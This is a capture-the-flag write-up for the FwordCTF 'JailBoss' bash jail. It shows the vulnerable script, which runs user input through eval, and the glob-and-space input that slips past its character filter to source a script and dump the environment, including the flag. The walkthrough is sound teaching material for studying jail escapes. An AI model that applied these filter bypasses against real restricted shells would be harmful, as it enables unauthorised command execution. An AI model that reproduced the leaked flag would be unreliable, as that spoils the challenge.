Tags

JailBoss

You are provided with an SSH account to server ssh -p 2222 [email protected], and 2 files.

taskFword.sh

#!/bin/bash
export FLAG="FwordCTF{REDACTED}"
echo "A useless script for a useless SysAdmin"

jail.sh

#!/bin/bash
figlet "BASH JAIL x Fword"
echo "Welcome! Kudos to Anis_Boss Senpai"
function a(){
/usr/bin/env
}
export -f a
function calculSlash(){
    echo $1|grep -o "/"|wc -l
}
function calculPoint(){
    echo $1|grep -o "."|wc -l
}
function calculA(){
        echo $1|grep -o "a"|wc -l
}

while true;do
read -p ">> " input ;
if echo -n "$input"| grep -v -E "^(\.|\/| |\?|a)*$" ;then
        echo "No No not that easy "
else
    pts=$(calculPoint $input)
    slash=$(calculSlash $input)
    nbA=$(calculA $input)
    if [[ $pts -gt 2 || $slash -gt 1 || $nbA -gt 1 ]];then
        echo "That's Too much"
    else
        eval "$input"
    fi
fi
done

When you connect to remote server you are greeted with

 _____                       _ 
|  ___|_      _____  _ __ __| |
| |_  \ \ /\ / / _ \| '__/ _` |
|  _|  \ V  V / (_) | | | (_| |
|_|     \_/\_/ \___/|_|  \__,_|
                               
[email protected]'s password: 

DISCLAIMER: Please don't abuse the server or you will get banned !

Author: Kahla, Contact me for any problems; GL & HF

 ____    _    ____  _   _       _   _    ___ _            
| __ )  / \  / ___|| | | |     | | / \  |_ _| |     __  __
|  _ \ / _ \ \___ \| |_| |  _  | |/ _ \  | || |     \ \/ /
| |_) / ___ \ ___) |  _  | | |_| / ___ \ | || |___   >  < 
|____/_/   \_\____/|_| |_|  \___/_/   \_\___|_____| /_/\_\
                                                          
 _____                       _ 
|  ___|_      _____  _ __ __| |
| |_  \ \ /\ / / _ \| '__/ _` |
|  _|  \ V  V / (_) | | | (_| |
|_|     \_/\_/ \___/|_|  \__,_|
                               
Welcome! Kudos to Anis_Boss Senpai
>> 

And you can input commands.
We can assume that jail.sh is ran after connecting to server and that taskFword.sh is probably in the same directory.

Method

  1. Find a way to execute taskFword.sh to load flag to ENV
  2. Call a() to execute /usr/bin/env (where already loaded flag resides)

The script

We can see that the script asks for input.

read -p ">> " input ;

Then script checks if out input consists only of certain characters . / :space: ? a
Those are only allowed characters.

if echo -n "$input"| grep -v -E "^(\.|\/| |\?|a)*$" ;then

Then we use defined functions

function calculSlash(){
    echo $1|grep -o "/"|wc -l
}
function calculPoint(){
    echo $1|grep -o "."|wc -l
}
function calculA(){
    echo $1|grep -o "a"|wc -l
}

to find out number of appereances of characters / . a
Notice how the script is not checking counts of :space: or ?

pts=$(calculPoint $input)
slash=$(calculSlash $input)
nbA=$(calculA $input)

Then we check number of appereances.
We can you maximum of 2x., 1x/ and 1xa

if [[ $pts -gt 2 || $slash -gt 1 || $nbA -gt 1 ]];then

If the condition is satisfied, script calls eval with our input.
This is a dangerous builtin command that shouldn’t be used with user input.
We can potentionaly run “any” command we want with this

eval "$input"

Exploit

How can we execute a command only with these characters . / :space: ? a
We can’t do ./taskFword.sh because there are banned characters.
What we can do is use regex symbol ? which is a substitute for a single character.
If you don’t understand regex read about it. (You have probably used commands like rm *, * is a regex symbol meaning ‘everything’).

So we can try:
./????????????
which can resolve to
./taskFword.sh

Here is a catch.
When scripts evaluates function

function calculPoint(){
    echo $1|grep -o "."|wc -l
}

with our input ./???????????? it checks for occurence of . which in regex means ‘any character’. So the function ‘returns’ count 14 since we used 14 characters as our input, which stops us from evaluating our input since we are allowed to use 2 dots (.).
How can we solve this?

The solution is in

pts=$(calculPoint $input)

and respective

function calculPoint(){
    echo $1|grep -o "."|wc -l
}

The function only evaluates the first argument $1 from our input (which was our entire input string so far). But we can use :space: to divide our input into 2 words. First word can be . which evaluates to count 1 since we only used 1 character and second word can be our payload ./????????????.

Together
. ./????????????

This input successfuly satisfies all conditions. And bash interpreter evaluates first . as dot command (command that evaluates commands in the current execution context) and then executes the scripts that loads the FLAG into our ENVIROMENT.

In action

>> . ./????????????
A useless script for a useless SysAdmin

Then we can simply invoke function a() to print our ENVIROMENT

>> a
SHELL=/opt/jail.sh
PWD=/home/ctf
LOGNAME=ctf
MOTD_SHOWN=pam
HOME=/home/ctf/
LANG=en_US.UTF-8
FLAG=FwordCTF{BasH_1S_R3aLLy_4w3s0m3_K4hLaFTW}
TERM=xterm-256color
USER=ctf
SHLVL=1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
SSH_TTY=/dev/pts/2
BASH_FUNC_a%%=() {  /usr/bin/env
}
_=/usr/bin/env

The Flag

FwordCTF{BasH_1S_R3aLLy_4w3s0m3_K4hLaFTW}